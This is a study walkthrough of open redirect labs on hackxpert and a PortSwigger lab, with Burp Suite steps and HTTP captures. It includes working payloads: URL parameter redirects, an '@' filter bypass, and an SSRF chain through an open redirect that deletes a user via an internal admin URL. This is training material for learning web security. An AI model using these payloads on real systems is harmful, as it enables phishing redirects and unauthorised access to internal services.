# Open Redirect Labs
Before doing the labs, please review the material found [here](https://drive.google.com/drive/u/0/folders/1LGrswdbl4KIxEDI4qTzZ2XZmlxadf0Qj).
## [Lab #1: 10](https://labs.hackxpert.com/OPENREDIRECT/10.php)

1. Launch Burp Suite and open the browser `(Proxy > Intercept > Open Browser)`.
2. Test for open redirects by submitting a test payload, like so:

This will produce a `Not Found` error, but don't worry.
3. In Burp Suite, under Target `(Target > Site Map)`, click the url: `https://labs.hackxpert.com`. The HTTP requests and responses made by the request payload will appear, like so:

The response to the request `GET /OPENREDIRECT/10.php?url=test` is has a 302 [Status Code](https://www.w3schools.com/tags/ref_httpmessages.asp), which is a redirection response. We can see the redirection path under the `location:` header, like so:
#### HTTP Request
```
GET /OPENREDIRECT/10.php?url=test HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
...
```
#### HTTP Response
```
HTTP/1.1 302 Found
Date: Tue, 18 Mar 2025 22:07:18 GMT
Server: Apache
Location: test
Content-Length: 3417
...
```
This redirect forces the browser to make another request, like so:
#### HTTP Request
```
GET /OPENREDIRECT/test HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
...
```
#### HTTP Response
```
HTTP/1.1 404 Not Found
Date: Tue, 18 Mar 2025 22:07:19 GMT
Server: Apache
Content-Length: 196
Keep-Alive: timeout=5, max=100
...
```
Since the endpoint `https://labs.hackxpert.com/OPENREDIRECT/test` does not exist, the server responded with a 404 error.
4. In order to make the request to a valid third-party, add a scheme to the url, like so:

This should redirect to the login page at `facebook.com`. This results in the following request being made:
#### HTTP Request
```
GET /OPENREDIRECT/10.php?url=https%3A%2F%2Ffacebook.com HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
...
```
#### HTTP Response
```
HTTP/1.1 302 Found
Date: Tue, 18 Mar 2025 22:30:58 GMT
Server: Apache
Location: https://facebook.com
Content-Length: 3417
...
```
Notice that the `url` parameter is [urlencoded](https://www.w3schools.com/html/html_urlencode.asp). Also, notice that the `location:` header in the response is now in plaintext and points to `https://facebook.com.` This will result in the following request/response pair:
#### HTTP Request
```
GET /?m457ctka8=1 HTTP/1.1
Host: www.facebook.com
Cookie: datr=<cookie-value>; sb=<cookie-value>; dpr=<cookie-value>; wd=<cookie-value>; fr=<cookie-value>
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
...
```
#### HTTP Repsonse
```
HTTP/2 200 OK
Vary: Accept-Encoding
Set-Cookie: fr=<cookie-value>; expires=M<cookie-value>; Max-Age=<cookie-value>; path=<cookie-value>; domain=.facebook.com; secure; httponly;
...
```
Notice that the `Host:` header in the request is now to `www.facebook.com` insted of `labs.hackxpert.com`.
### Conclusion
The payload of an open-redirect attack can end up in the location header of a redirection response. Adding a scheme to your payload will change the host server where the request is being made to.
## [Lab #2: 20](https://labs.hackxpert.com/OPENREDIRECT/20.php)
1. Launch Burp Suite and open the browser `(Proxy > Intercept > Open Browser)`
2. Test for open redirects by submitting a test payload, like so:

The resulting webpage has an error message:

With this, we know that the server is filtering for urls that do not contain `labs.hackxpert.com`.
3. To circumvent the filtration, write a payload containing `labs.hackxpert.com`, like `labs.hackxpert.com@facebook.com`:

Submit the payload. This redirects your to `www.facebook.com`. The request/response pair should look like this:
#### HTTP Request
```
GET /OPENREDIRECT/20.php?url=labs.hackxpert.com%40facebook.com HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
```
#### HTTP Response
```
HTTP/1.1 302 Found
Date: Tue, 18 Mar 2025 22:51:25 GMT
Server: Apache
Location: https://labs.hackxpert.com@facebook.com
Content-Length: 3385
```
The browser interprets the given `Location:` header value points to `facebook.com`, which caused the redirection.
### Conclusion
Just because there is filtration, doesn't mean it is flawless. If the rules of the filtration system can be determined, there is a possibility that they can then be broken.
## [Lab #3](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection): SSRF with filter bypass via open redirection vulnerability

1. Launch Burp Suite and open the broswer (Proxy > Intercept > Open Broswer).
2. Navigate to the lab url and launch the environment. This will produce a page like this:

3. The description states that "`[The] lab has a stock check feature which fetches data from an internal system`". The goal is to make a request to the `/admin` endpoint on an internal server (which cannot be access directly from the internet) then make a request to delete a user, `carlos`. A vulnerability that allows an attacker to cause server-side systems to make unintended requests is called a [Server-Side Request Forgery (SSRF)](https://portswigger.net/web-security/ssrf).
4. To determine how the stock check feature works, click `View details` under any item listing, then scroll down and click `Check stock`. Then, in Burp Suite, display the HTTP request/response pairs `(Proxy > Target > https://<lab-id-number>.web-security-academy.net)`.
5. Look for a `POST` request made to `/product/stock`:
#### HTTP Request
```
POST /product/stock HTTP/2
Host: <lab-id-number>.web-security-academy.net
Cookie: session=<cookie-value>
jContent-Length: 65
Sec-Ch-Ua-Platform: "macOS"
...
stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
```
#### HTTP Response
```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Set-Cookie: session=<cookie-value>; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 3
275
```
Observe that the content of the HTTP response is later displayed in the webpage. Also, note that the `POST` parameter `stockAPI` has a value that is url encoded. Decoding that value reveals it's meaning:

*Click [here](https://www.urldecoder.org) and paste in the encoded url.*
The decoded url shows that the request is being made to the server at `/product/stock/check?productld=1&storeld=1`.
6. The description states that "`The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.`", so the next step is to find an open-redirect on the webpage, so that the url `http://192.168.0.12:8080/admin` can be requested server-side.
* Looking at the product listing page, you should see an option to get the next product:

* Right click on the link and copy the URL. Paste it into the browser search bar to inspect it. Observe the redirect parameter `path`:
```
https://0a1a00080325491083948d9a005600d3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```
7. Test the redirect parameter to determine if it is an open redirect:
```
https://0a1a00080325491083948d9a005600d3.web-security-academy.net/product/nextProduct?currentProductId=1&path=facebook.com
```

* Simply putting the domain, `facebook.com` tries to redirect to localpath `facebook.com`, which doesn't exist. Add a scheme to force the browser to resolve the address on a different host:

* This should redirect to facebook, indicating an open redirect vulnerability exists.
8. Copy this vulnerable path to the `Stock API` request, like so:
```
/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin
```

* Make sure to URL-encode the key characters (i.e. `:`, `&`, and `=`). This should result in the following response:

* Observe that the response includes the admin portal for the application. Scroll down to get the URL to delete user `carlos`:
```
http://192.168.0.12:8080/admin/delete?username=carlos
```
* Use this URL as the path for the open redirect path, like so:
```
/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin/delete?username=carlos
```

* Make sure to URL-encode the key characters (i.e. `:`, `&`, and `=`). This should result in the following response:

* Observe that the user was successfully deleted. The loaded webpage should look like so:
